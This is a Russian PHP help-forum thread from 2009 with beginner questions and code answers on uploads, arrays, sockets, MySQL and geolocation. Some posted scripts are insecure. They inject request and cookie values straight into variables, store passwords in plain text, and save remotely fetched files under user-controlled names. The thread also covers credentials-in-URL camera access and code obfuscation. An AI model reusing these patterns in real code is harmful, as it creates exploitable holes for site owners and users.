$bibl_ext = @dirname($_SERVER['SCRIPT_FILENAME']).'/extensions/php_gd.dll';
if(!extension_loaded('gd') and is_file($bibl_ext)){ dl("extensions/php_gd.dll");}
if(!extension_loaded('gd')){ return print "Нет файла библиотеки ".$bibl_ext;}
if($arr[file_name][name]!=''){
if(preg_match("~[^a-zA-Z0-9_\.-]~",$arr['file_name']['name'])){return print "\n<br><font class='forums'><b>Error:</b></font> недопустимые символы или пробелы в имени: <b>".$arr['file_name']['name']."</b><br>\n"; }
$type_file = $arr[file_name][type];
if(!preg_match("/jpeg|png/i",$type_file)){ return print "\n<br><font class='forums'><b>Error:</b></font> формат <b></b> недопустим...<br>\n";}
$general = @file($base_images);
for ($i = count($general)-1; $i >= 0; $i--) {
list($name_f,$size_f,$data_f)=explode("::", $general[$i]);
if($arr['file_name']['name']==$name_f){return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$name_f."</b> уже существует...<br>\n"; }
}
$tmp = str_replace("\\","/",getcwd())."/".$papka_images;
if(@is_writeable($tmp)){
$fname = $tmp.'/'.$arr['file_name']['name'];
if(move_uploaded_file($arr['file_name']['tmp_name'],$fname)){
$type_file = $arr['file_name']['type'];
$name_file = $arr['file_name']['name'];
$size_file = $arr['file_name']['size'];
}
}
else{return print "\n<br><font class='forums'><b>Error:</b></font> на папку <b>".$tmp."</b> нет доступа на запись...<br>\n"; }
}
else{return print "\n<br><font class='forums'><b>Error:</b></font> <b>введите</b> имя файла в форму...<br>\n"; }
if(strlen($name_file)=='0'){return print "\n<br><font class='forums'><b>Error:</b></font> <b>размер</b> файла превышает допустимый ".$MAX_SIZE." байт <br>\n"; }
if(!file_exists($fname)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$fname."</b> не найден...<br>\n";}
small_image($fname,$fr_width,$fr_height);
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i < $lines; $i++){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t){
if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);}
@fwrite ($fp,"$name_t::$ppass_t::$name_file::\n");
}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
return print "<b>\n<br><font class='forums'>Файл:</font> ".$name_file." </b>(".$size_file." байт) успешно загружен<br>\n";
}

// эта функция печатает форму
function print_form(){
global $session_form,$MAX_SIZE,$c_name,$c_ppass,$fr_width ,$fr_height,$dont_registr;
$MAX_SIZE_KB = ceil($MAX_SIZE/1000);
$aaa="
<form ENCTYPE='multipart/form-data' ACTION='set.php' METHOD='POST'>
<table border='0' cellpadding='2' cellspacing='2'><tr><td>".$session_form."
<input TYPE='hidden' name='MAX_FILE_SIZE' value='".$MAX_SIZE."'>";
if($dont_registr == 'yes'){
$aaa .= "Логин: &nbsp;<input type='text' name='name' value='".$c_name."'>
<br>Пароль: <input type='password' name='ppass' value='".$c_ppass."'>\n";
}
else{
$aaa .= "<br><input type='file' name='file_name' size='35'>\n";
}
$aaa .= "<input type='submit' value='добавить'>
</td></tr></table>
</form>\n";
return $aaa;
}

//работа с сессией
if(isset($HTTP_GET_VARS)) {foreach($HTTP_GET_VARS as $key => $value ) {$$key=$value;}}
if(isset($HTTP_POST_VARS)){foreach($HTTP_POST_VARS as $key => $value ){$$key=$value;}}
unset($c_ppass,$c_name);
if ( isset ($_COOKIE)) { foreach ($_COOKIE as $key => $value ) {$$key=$value;}}
if ($c_zvet=='' or !isset($c_zvet)){ setcookie('c_zvet','Стандарт',time()+33333 333); }
@session_name('SID');
@session_start();
if ( isset ($_SESSION)) { foreach ($_SESSION as $key => $value ){ $$key=$value;}}
if($c_zvet!=''){
@ini_alter('session.use_trans_sid','0');
$SID=@session_id();
@session_destroy();
@setcookie('SID', $SID, time()+33333333);
}
else{
@ini_alter('session.use_cookies','0');
@session_destroy();
@session_id(@md5(@uniqid(@rand())));
$SID=@session_id();
if ( ini_get ('session.use_trans_sid')=='0'){
$session_form .="\n<input type='hidden' name='SID' value='".$SID."'>";
$session_link .="&SID=".$SID;
}
}
@session_register('c_name','c_ppass');


// вставляем верх странички, меняйте его под себя...
include("templates/index_top.htm");

// если кликнули закрыть сессию, можно убрать эту строку
if($sess=='close'){@session_unset(); @session_destroy();}

// если пришли данные из формы...
if($name!='' and $ppass!=''){ $c_name = $name;$c_ppass = $ppass; }

// если прищла картинка из формы
if(isset($HTTP_POST_FILES['file_name']['name'])){add_images($HTTP_POST_FILES); }
// если нет, значит человек регистрируется или авторизируется
elseif($name!='' and $ppass!=''){
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i <= $lines; $i++ ){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($name==$name_t and $ppass==$ppass_t and $name_t!=''){@fwrite ($fp,$general[$i]); $old='yes'; }
elseif($i==$lines and $old!='yes'){@fwrite ($fp,"$name::$ppass::::\n");}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
}

// проверяем есть ли человек в нашей базе, если нет то говорим что $dont_registr = 'yes'
$general = @file($basemember);
$lines = count($general);
for ( $i = 0; $i <= $lines; $i++ ){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t and $name_t!=''){ break; }
if($i==$lines){ $dont_registr = 'yes'; }
}

// если человека в базе нет печатаем форму и предлагаем авторизацию
if($dont_registr == 'yes'){
print "<p align='justify'></p><p align='justify'>Авторизация - регистрация</p>";
print print_form();
}
// если он есть в базе приходим сюда
else{
if($avatar_t!='' and $del!='yes'){
$avatar = "<img src=".$papka_images."/".$avatar_t.">";
$message ="У Вас <font class=forums><b>Есть</b></font> аватар (<b>".$avatar_t."</b>). Вы можете его менять, удалять.";
}
else {$avatar =''; $message ="У Вас <font class=forums><b>Нет</b></font> аватара. Вы можете его добавить.";}
$MAX_SIZE_KB = ceil($MAX_SIZE/1000);
$message .= "<p align='justify'> Допустимы два формата Jpeg и Png - заменяюший формат Gif. Закачивайте файл размером не более <b>".$MAX_SIZE_KB."kб</b>. Размер картинки будет сохранен в рамках ".$fr_width."x".$fr_height." пикселей.<br><br>Для более качественной его передачи, желательно привести вашу картинку к данному размеру ".$fr_width."x".$fr_height." пикселей.</p>\n";

if($avatar_t!='' and $del!='yes'){$message .="<p align='justify'>Для того, чтобы добавить картинку с тем же именем, что уже существует, Вам надо сначала Аватар удалить.<br><br> Для удаления аватара, <a href='set.php?del=yes".$session_link."'>клинете здесь...</a></p>\n"; }

// если пользователь удаляет аватар то мы здесь
if($del=='yes'){
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i < $lines; $i++){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t){
if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);}
@fwrite ($fp,"$name_t::$ppass_t::::\n");
}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
print "\n<br><b>Аватар</b> удален...<br>\n";
}
print "<table width='600' border='0' cellpadding='5' cellspacing='5'><tr><td valign='top'>$avatar</td><td align='justify'>$message</td></tr></table>\n";
print print_form();
}

// это просто ссылки, типа ваших страничек
print "<a href='set.php?act=registr1'>Кликайте здесь</a>
<a href='set.php?act=registr2'>И тут тоже...</a>
<a href='set.php?sess=close'>Закрыть сессию</a>";


// вставаляем нижний шаблон
include("templates/index_end.htm");
?>


Но мне не надо печенек и даже сессий...Надо просто рег\вход и после входа передать данные в чат: ник,статус, права
Убирал лишнее сам --- после нажатия добавить нифига не происходит(

chekist
21.12.2009, 00:04
Как сделать авторизацию на php на файлах?
Нашёл довольно подходящий скрипт :

Но мне не надо печенек и даже сессий...Надо просто рег\вход и после входа передать данные в чат: ник,статус, права
Убирал лишнее сам --- после нажатия добавить нифига не происходит(

решето, а как ты собрался авторизацию делать, если не хочешь использовать печеньки и сессию?

bxN5
21.12.2009, 03:43
форма
echo ('
<form action="index.php?go=ok" method="post">
Новый пароль: <input type="text" name="сpwfl"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');
приемник

если var_dump($_POST); получаю массив
array(2) { ["сpwfl"]=> string(6) "214324" ["but1"]=> string(15) "Изменить пароль" }
если var_dump($_POST['cpwfl']); получаю null почему?
if(isset($_POST['cpwfl']) && isset($_POST['but1']) )

svesve
21.12.2009, 12:00
форма
echo ('
<form action="index.php?go=ok" method="post">
Новый пароль: <input type="text" name="сpwfl"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');
приемник

если var_dump($_POST); получаю массив
array(2) { ["сpwfl"]=> string(6) "214324" ["but1"]=> string(15) "Изменить пароль" }
если var_dump($_POST['cpwfl']); получаю null почему?
if(isset($_POST['cpwfl']) && isset($_POST['but1']) )

перепиши имя поля и имя в переменной, у тебя где-то символ русский стоит

так все пашет


echo ('
<form action="" method="post">
Новый пароль: <input type="text" name="nnn"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');

echo var_dump($_POST);
echo var_dump($_POST['nnn']);

AFoST
21.12.2009, 23:56
Есть ли на php класс для работы с комплесными числами?
или нужна замена метода imag из класса complex для с++.

TDKronuS
22.12.2009, 00:06
Есть ли на php класс для работы с комплесными числами?
или нужна замена метода imag из класса complex для с++.
На phpclasses нашел такой:

<?
define('Z_CARTESIAN', 0);
define('Z_POLAR', 1);
define('Z_RADIAN', 0);
define('Z_DEGREE', 1);


class Z{

// Constructor
function Z($var = "", $im = "", $type = Z_CARTESIAN, $unit = Z_RADIAN ){
if( $unit ){
$this->unit = $unit;
}

list( $this->x, $this->y ) = $this->parse( func_get_args() );
}

// Public Functions

function SetUnit($unit = Z_RADIAN){
$this->unit = $unit;
return $this->unit;
}

function Re(){
return $this->x;
}

function Im(){
return $this->y;
}

function Mod(){
return hypot( $this->x, $this->y );
}

function Arg(){
if( $this->unit ){
return rad2deg( atan( $this->y / $this->x ) );
}
else{
return atan( $this->y / $this->x );
}
}

# For the following 4-op functions, input vars is same as constructor function.
function Add(){
list( $x, $y ) = $this->parse( func_get_args() );
$this->x+= $x;
$this->y+= $y;
}

function Sub(){
list( $x, $y ) = $this->parse( func_get_args() );
$this->x-= $x;
$this->y-= $y;
}

function Mul(){
list( $x, $y ) = $this->parse( func_get_args() );
list( $mod, $arg ) = $this->ToPolar( $x, $y );
list( $this->x, $this->y ) = $this->ToCartesian( $this->Mod()*$mod, $this->Arg()+$arg );
}

function Div(){
list( $x, $y ) = $this->parse( func_get_args() );
list( $mod, $arg ) = $this->ToPolar( $x, $y );
list( $this->x, $this->y ) = $this->ToCartesian( $this->Mod()/$mod, $this->Arg()-$arg );
}





// Private functions


function parse( $arr ){
list ($var, $im, $type, $unit ) = $arr;

if( $var ){
if( $im ){
if( $type == Z_POLAR ){
if( stristr( $im, "d" ) || ( ($unit == Z_DEGREE) && (!stristr( $im, "d" )) ) ){
$im = deg2rad( $im );
}
list( $x, $y ) = $this->ToCartesian( $var, $im );
}
else{
$x = $var;
$y = $im;
}
}
else{
list( $x, $y ) = $this->parse_number( $var );
}
}
return array( $x, $y );
}


function parse_number($str){
$str = preg_replace("/\s*/","",$str);
if( preg_match("/(?i)[^erd\-+ij.,0-9]+/", $str) ){
return -1;
}
else{
if( stristr( $str, "e" ) ){
preg_match("/(?i)([0-9]+)e-[ij]?([0-9rd]+)[ij]?/", $str, $arr);
if( sizeof( $arr ) ){
if( stristr( $arr[2], "d" ) ){
$arr[2] = deg2rad( $arr[2] );
}
list( $re, $im ) = $this->ToCartesian( $arr[1], $arr[2] );
}
}
else{
preg_match_all( "/(?i)([\-+]?[0-9.,ij]+)/", $str, $arr, PREG_SET_ORDER );
if( sizeof( $arr ) ){
foreach( $arr as $number ){
if( preg_match( "/(?i)[ij]/", $number[1] ) ){
$im += $number[1];
}
else{
$re += $number[1];
}
}
}
}
return array($re, $im);
}
}










function ToCartesian( $mod, $ang ){
return array( ( $mod*cos($ang) ), ( $mod*sin($ang) ) );
}

function ToPolar( $re, $im ){
return array( hypot( $re, $im ) , atan( ($im/$re) ) );
}

}

?>

krypt3r
22.12.2009, 07:56
perldoc Math::Complex ))

akahaos
22.12.2009, 15:04
Подскажите скриптик, отправляю из проги пост запрос с содержанием например 'info=12345' нужно чтоб скрипт сохранил данный текст в файл

mff
22.12.2009, 15:17
Есть строка и массив:
'1', '2', '3', '4'
Array ( [0] => 2 [1] => 4 )
нужно удалить и строчки '2', и '4'
получиться должно: '1', '3'

:confused:

m0Hze
22.12.2009, 15:24
Есть строка и массив:
'1', '2', '3', '4'
Array ( [0] => 2 [1] => 4 )
нужно удалить и строчки '2', и '4'
получиться должно: '1', '3'

:confused:
in_array()?+explode

mff
22.12.2009, 15:27
in_array()?+explodeне совсем понятно :( можно примерчик? спасибо!

Eo0
22.12.2009, 15:38
не совсем понятно :( можно примерчик? спасибо!
$str='1,2,3,4';
$del=array(2,4);
$str=str_replace($del,'',$str);
$str=str_replace(',,',',',$str);
$arr=explode(',',$str);

Eo0
22.12.2009, 15:43
Подскажите скриптик, отправляю из проги пост запрос с содержанием например 'info=12345' нужно чтоб скрипт сохранил данный текст в файл

$site='fbi.ru';
$patch='new.php';
$dat='?info=1234';
$fp = fsockopen($site, 80);
fputs($fp,'POST '.$patch.' HTTP/1.1
Host: '.$site.'
Connection: close
Content-Length: '.strlen($dat).'

'.$dat);
$f='';
while (!feof($fp)) $f.=fgets($fp, 1000);
fclose($fp);
file_put_contents('file.txt',$f); php 5<=

mff
22.12.2009, 15:51
$str='1,2,3,4';
$del=array(2,4);
$str=str_replace($del,'',$str);
$str=str_replace(',,',',',$str);
$arr=explode(',',$str);


стоп, задача упростилась, вот: :rolleyes:


$str = "1,2,3,4";
массив = Array ( [0] => 2 [1] => 4 )
получиться должно:
$str="1,3";

Eo0
22.12.2009, 16:03
стоп, вот: :rolleyes:


$str = "1,2,3,4";
массив = Array ( [0] => 2 [1] => 4 )
получиться должно:
$str="1,3";
Понятно.

$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);

mff
22.12.2009, 16:07
Понятно.

$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
Большое спасибо. http://forum.antichat.ru/images/icons/icon14.gif Получилось: ,3,4 :confused:

и еще если $arr= Array ( 3 , 2 );
то получается:
1,,4

если $arr= Array ( 1, 4 );
то получается:
,2,3,


:confused:

Eo0
22.12.2009, 16:15
Большое спасибо. http://forum.antichat.ru/images/icons/icon14.gif Получилось: ,3,4 :confused:

$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
if($str[strlen($str)]==',') unset($str[strlen($str)]);
if($str[0]==',') unset($str[0]);

akahaos
22.12.2009, 16:27
Eo0, не срабатывает(

Gifts
22.12.2009, 16:31
mff $str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_intersect($arr,explode(',',$str) ));

Eo0
22.12.2009, 16:32
Eo0, не срабатывает(
Забыл слэш

$site='ya.ru';
$patch='/index.php';
$dat='?info=1234';
$fp = fsockopen($site, 80);
fputs($fp,'POST '.$patch.' HTTP/1.1
Host: '.$site.'
Connection: close
Content-Length: '.strlen($dat).'

'.$dat);
$f='';
while (!feof($fp)) $f.=fgets($fp, 1000);
fclose($fp);
file_put_contents('file.txt',$f);

akahaos
22.12.2009, 16:37
Все равно чтото не хочет. Версия PHP 5.2.10

Eo0
22.12.2009, 16:39
Все равно чтото не хочет. Версия PHP 5.2.10
у меня работает. Наверно на хосте нет библиотеки сокетов.

akahaos
22.12.2009, 16:44
А в этом скрипте сохраняется ответ сервера в файл? Мне надо чтоб в файл сохранялось все что после 'info='

mff
22.12.2009, 16:45
mff $str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_intersect($arr,explode(',',$str) ));

Ох ты, спасибо большое! Но если
Array ( 2 , 4 ); получается $str = "2,4"; :) а должно получиться наоборот $str = "1,3"; то есть Array ( 2 , 4 ); нужно вырезать из $str = "1,2,3,4"; и получить $str = "1,3"; :confused: :(

mff
22.12.2009, 16:48
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
if($str[strlen($str)]==',') unset($str[strlen($str)]);
if($str[0]==',') unset($str[0]);

не, получается 1,3, :confused:

Gifts
22.12.2009, 16:53
mff Тогда array_diff вместо array_intersect

$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_diff(explode(',',$str),$arr));

Eo0
22.12.2009, 16:54
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',', array_diff(explode(',',$str),$arr));

mff
22.12.2009, 17:03
mff Тогда array_diff вместо array_intersect

$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_diff(explode(',',$str),$arr)); :eek: :eek: :eek: Работает как часы! Перепробывал все варианты. Спасибо большое Gifts :) :) :)

p.s. Eo0 тоже спасибо! :)

akahaos
22.12.2009, 17:39
Eo0, не пойму что происходит))) пару постов делаю и все сайты мои на этом хосте начинают выдавать ошибку 502 бэд гетевей, и даже приостановили админы работу сайта, написал в поддержку, сказали что редирект в .htaccess был, стукни мне в аську может поможешь

svesve
22.12.2009, 18:23
есть вэб камера с BasicAuth

Задача. подключаться к ней не вводя имя я пароль.

Допустим мы заходим на камеру, вводим логин и пароль,
попадаем в интерфейс, там 3 фрейма. Интересует фрейм только с видео он тут http://192.168.100.244/main_pz.vspx

Соответственно надо заходить напрямую на http://192.168.100.244/main_pz.vspx без авторизации.

Вот набросок, однако просит ввести логин и пароль, пробовал через сокеты, тоже самое.

Подскажите что можно придумать?

<?php
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'header' => sprintf("Authorization: Basic %s\r\n", base64_encode('test:test')).
"Content-type: application/x-www-form-urlencoded\r\n"),
));
$a=file_get_contents("http://192.168.100.244/main_pz.vspx", false, $context);
$pattern='#/cgi-bin/control.cgi#';
$replacement='http://192.168.100.244/cgi-bin/control.cgi';
echo preg_replace($pattern,$replacement,$a);
?>

m0Hze
22.12.2009, 18:26
http://logen:password@adre.ru/blabla.ext
Тут не покатит?

.Rover.
22.12.2009, 22:05
как реализовать разделение

есть файл 1.txt

11111g122244444
55555334
663525262
rhgh43h45747
.....


нужен скрипт который бы проверял каждую строку
если она длиннее 10 символов то разделял и записывал

в результате должно быть такой файл получится

2.txt

11111g1222
44444
55555334
663525262
rhgh43h457
47
.....

Eo0
22.12.2009, 22:23
как реализовать разделение

есть файл 1.txt


нужен скрипт который бы проверял каждую строку
если она длиннее 10 символов то разделял и записывал

в результате должно быть такой файл получится

2.txt
$f=file('1.txt');
$c=count($f);
for($i=0;$i<$c;$i++){
if(strlen($f[$i])>10) $f[$i]=wordwrap($f[$i],10,"\n");
}
file_put_contents('2.txt',implode("\n",$f));

svesve
23.12.2009, 00:13
http://logen:password@adre.ru/blabla.ext
Тут не покатит?
в фаерфоксе пашет но не в ИЕ )
а надо под ие )))

а так ты моск!!! +++

m0Hze
23.12.2009, 00:30
в фаерфоксе пашет но не в ИЕ )
а надо под ие )))

а так ты моск!!! +++
Помоему в твоем примере вообще использовался пхп,а не броузер.Ну а пхп отлично принимает такой вид записи.так что не хныкай,а юзай :)

svesve
23.12.2009, 00:53
Помоему в твоем примере вообще использовался пхп,а не броузер.Ну а пхп отлично принимает такой вид записи.так что не хныкай,а юзай :)

дак я ж говорю не пашет (
попробовал уже

Architek86
23.12.2009, 13:49
как у числа убрать незначащие нули на конце, т.е. 0.1000 привести к 0.1, 30.000100 к 30.0001 и т.п.?

krypt3r
23.12.2009, 14:11
<?php
$str = "30.000100";
echo (float) $str, "\n";
echo rtrim ($str, '0'), "\n";
?>

akahaos
23.12.2009, 16:44
Кто может за небольшую плату помочь в следующем:
нужно наверно два файла, 1 админка для меня, второй исполняющий.
я захожу в админку и создаю аккаунт пользователя с ником и пассом и выбираю срок действия данного акка, например 1 месяц. пользователь будет логинется в этот акк, через месяц акк автоматически удалится. вобщем нужно сайтик набросать простенький кто способен го в асю.

Architek86
24.12.2009, 14:51
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 1024001 bytes)

Как 1024001 байт могут превысить лимит в 67108864 байт???

Pashkela
24.12.2009, 14:56
У тебя оперативки на твоей виртуалке ВСЕГО 64 мб. Подо все - под Apache, под MySql, под систему и etc., т.е. соотвественно на исполнение определенного скрипта php выдается далеко не вся оперативка

Ridikh
24.12.2009, 15:26
нужен скрипт отправки sms на php, если у кого есть скиньте плз :)

restart_05
24.12.2009, 16:53
как можно закодировать $text = "Текст";

Eo0
24.12.2009, 17:05
как можно закодировать $text = "Текст";
ну к примеру $str='Текст';
$echo=base64_encode($str);//закодированный
echo base64_decode($echo);//раскодировали

Eo0
24.12.2009, 17:17
нужен скрипт отправки sms на php, если у кого есть скиньте плз :)
otpravka_sms
Продолжение ранеe начатых скриптов отправки смс...
В этой версии присутствует отправка смс на: Beeline, Beeline Украина, Beeline Татарстан, Mегафон Центр, Мегафон Дальний Восток, Мегафон поволжье, Мегафон Сибирь, Мегафон Урал, Мегафона Брянск, Мегафон Татарстан, МТС Беларусь, МТС Татарстан, МТС Якутск, UMC, Смартс, Моби, НТК Приморский край, НТК Владивосток, РеКом GSM, РеКом GSM Белгород, Velcom Брест, Azercell Telecom Баку, U-tel Тюменской области, AKOS, Tele2, Казахстан Kcell, HCC, Хабаровский Дальневосточный GSM, SMS Orange IL Израиль.
Требования: PHP4,(X)HTML
Скачать (http://visavi.net/load/files/otpravka_sms.zip) (53.04 Kb)

sms_send
Новый скрипт отправки смс сообщений, огромная база операторов c рабочими шлюзами
Требование: PHP4, HTML
Скачать (http://visavi.net/load/files/sms_send.zip) (78.48 Kb)

Матня
24.12.2009, 17:38
Помогите плиз. сижу волосы рву на башке. почему не пишет в БД нихрена.
<?php
include("config.php");
mysql_connect($dbhost,$dbuser,$dbpasswd);
if(isset($_POST['save']))
$sql=mysql_query("INSERT INTO pages VALUES('".$_POST['title']."','".$_POST['content']."')");
?>
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form action="" method="post">
<table border="1" cellspacing="0" cellpading="0" align="center">
<tr>
<td>Заголовок страницы</td>
<td>Текст страницы</td>
</tr>
<tr>
<td valign="top"><input type="text" name="title" size="35"></td>
<td><textarea name="content" cols="70" rows="25"></textarea></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="save" value="Сохранить"> <input type="reset" value="Сбросить"></td>
</tr>
</table>
</form>
</body>
</html>


на пхп май админе работает sql код. а в скрипте 0. вообще не чего не пишет в БД (((((

wolmer
24.12.2009, 17:40
Матня
Экстрасенсы в отпуске, рассказывай что в include.php (+ надо выбрать DB с какой работать (после коннекта к sql))

Матня
24.12.2009, 17:52
Экстрасенсы в отпуске, рассказывай что в include.php (+ надо выбрать DB с какой работать (после коннекта к sql))

спасибо. БД не выбрал. бляяяя сенк

mastaadon
24.12.2009, 19:05
Есть сайт где я хочу выложить несколько видео файлов. Мне нужно скрыть ссылки на эти файлы, я понимаю, что скрыть их полностью не возможно, но хотя бы так, что бы не все халявщики подряд могли скачать мои видео файлы или же сделать себе прямые ссылки на сайт. Если кто даст ссылку на готовые решения или же напишет код или хотя бы опишет логику, буду весьма признателен.

LStr1ke
24.12.2009, 19:16
Какие ссылки?
Это будет Flash проигрыватель?

mastaadon
24.12.2009, 19:18
Да скорее всего нужно будет сделать файлы в формате FLV. Хотя если есть решение можно и в другом формате.

restart_05
24.12.2009, 19:54
как можно закодировать php код, чтобы его тяжело было раскодировать

Pashkela
24.12.2009, 19:57
http://kaimi.ru/2009/10/php-obfuscator-1-4/#more-648

LStr1ke
24.12.2009, 20:06
Да скорее всего нужно будет сделать файлы в формате FLV. Хотя если есть решение можно и в другом формате.
Решение чего?! Ты можешь толком объяснить суть...
Какие ссылки???????????????????????????????????
У тебя тупо на сайте будут ссылки:
<a href='file.avi'>ССЫЛКА</a>
Или будет стоять флеш проигрыватель и нужно в сорцах палить путь к видео который использует флеш проигрывать?
Античат не форум телепатов...

mastaadon
24.12.2009, 20:18
Ссори не подозревал что вопрос был задан в таком смысле.
У меня будет стоять проигрыватель файлов.
Я хочу что бы посетители могли просматривать мои видео но не скачивать их или делать прямые ссылки на них в своих ресурсах.

Patronik
24.12.2009, 20:23
есть литература по библиотеке PEAR на руском?

restart_05
24.12.2009, 20:32
Pashkela спасибо

Nalsa
24.12.2009, 20:34
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?

restart_05
24.12.2009, 21:03
Еще 1 вопрос:
Как можно в базу данных mysql добавлять следующее
Имеется таблица id, friend
в строке friend имеется число 9
мне нужно добавить в строку friend еще несколько чисел через запятаю 9,11,15 и т.д.
Как можно сделать такое ?

Pashkela
24.12.2009, 21:10
https://forum.antichat.ru/showpost.php?p=1770920&postcount=916

restart_05
24.12.2009, 21:16
спс

b3
24.12.2009, 22:01
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?


$fn = basename($_POST['url']);
$fp = fopen($fn, "w")


Проверь phpinfo(); Директиву: allow_url_fopen

Patronik
24.12.2009, 23:05
$fn = basename($_POST['url']);
$fp = fopen($fn, "w")


Проверь phpinfo(); Директиву: allow_url_fopen

Добавлю что на большинстве бесплатных хостингов нет возможности редактировать php.ini и тогда если даже
allow_url_fopen отключен то ничего не поделаешь...

Nalsa
25.12.2009, 10:18
$fn = basename($_POST['url']);
$fp = fopen($fn, "w")


Проверь phpinfo(); Директиву: allow_url_fopen
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?

Eo0
25.12.2009, 10:27
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?
2x4.ru там только php 4 и рега теперь сколько то стоит.

Freakazoitt
25.12.2009, 12:33
Вопрос:

Сделал простой чат на php с формой
Как сделать:
1. скролл сам прокручивался вниз (к последним сообщениям)
2. курсор всегда оставался в форме где текст сообщения, чтоб не кликать туда каждый раз

phpdreamer
25.12.2009, 12:51
Вопрос:

Сделал простой чат на php с формой
Как сделать:
1. скролл сам прокручивался вниз (к последним сообщениям)
2. курсор всегда оставался в форме где текст сообщения, чтоб не кликать туда каждый раз
javascript

Корвин
25.12.2009, 14:11
подскажите плиз функции для обработки архивов zip, интересует архивация/разархивация

m0Hze
25.12.2009, 14:12
подскажите плиз функции для обработки архивов zip, интересует архивация/разархивация
http://www.phpclasses.org/browse/package/3864.html

b3
25.12.2009, 15:07
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?
Насчет бесплатных незнаю, уже лет 5 не выступал по ним, а если не жалко 150р в месяц, то советую VDS|VPS там ты уже какую конфигурацию хочеш такую и сделаеш.

hooligan4ik
25.12.2009, 16:04
здраствуйте гуру php!
меня интересует такой вопрос:
каким образом можно подключить локацию сервера(КС по его айпи) К карте гугл и вывод ее на стренице сервера в виде карты города где расположен сервер?
Может кто подскажет скрипт!
Желающим помочь-Стукните в асю 382806175

qW1zer
25.12.2009, 16:35
Freakazoitt
1.

<body onload="document.getElementById('имя_поля').focus()">

2.

<body onload="scroll(0,0)">

Только вместо 0,0 позицию нужно тебе самому задать и правильнее думаю будет сделать автоопределение или что-то в этом роде

Батхед
25.12.2009, 19:26
нужно сохранить файл с инета к себе на комп в папку
как реализовать?

Eo0
25.12.2009, 19:35
нужно сохранить файл с инета к себе на комп в папку
как реализовать?
copy('http://site.ru/1.mp3','1.mp3');

LStr1ke
25.12.2009, 20:21
здраствуйте гуру php!
меня интересует такой вопрос:
каким образом можно подключить локацию сервера(КС по его айпи) К карте гугл и вывод ее на стренице сервера в виде карты города где расположен сервер?
Может кто подскажет скрипт!
Желающим помочь-Стукните в асю 382806175
Use GeoIP.

http://www.phpclasses.org/browse/file/17303.html
Antichat Search (http://forum.antichat.ru/search.php?searchid=6073160)

hooligan4ik
25.12.2009, 21:14
Use GeoIP.

http://www.phpclasses.org/browse/file/17303.html
Antichat Search (http://forum.antichat.ru/search.php?searchid=6073160)
Спасибо ето понял но как теперь ето все присоеденить к google map??
Извените за тупость и настоичивость но очень нужно реализовать!

LStr1ke
25.12.2009, 21:19
Google Maps API -> http://code.google.com/intl/ru-RU/apis/maps/

hooligan4ik
25.12.2009, 21:32
Google Maps API -> http://code.google.com/intl/ru-RU/apis/maps/
Стукни пожалуйста в асю!
Буду очень признателен!
Ася 382806175

toxam9
25.12.2009, 22:14
Вопрос к профи.
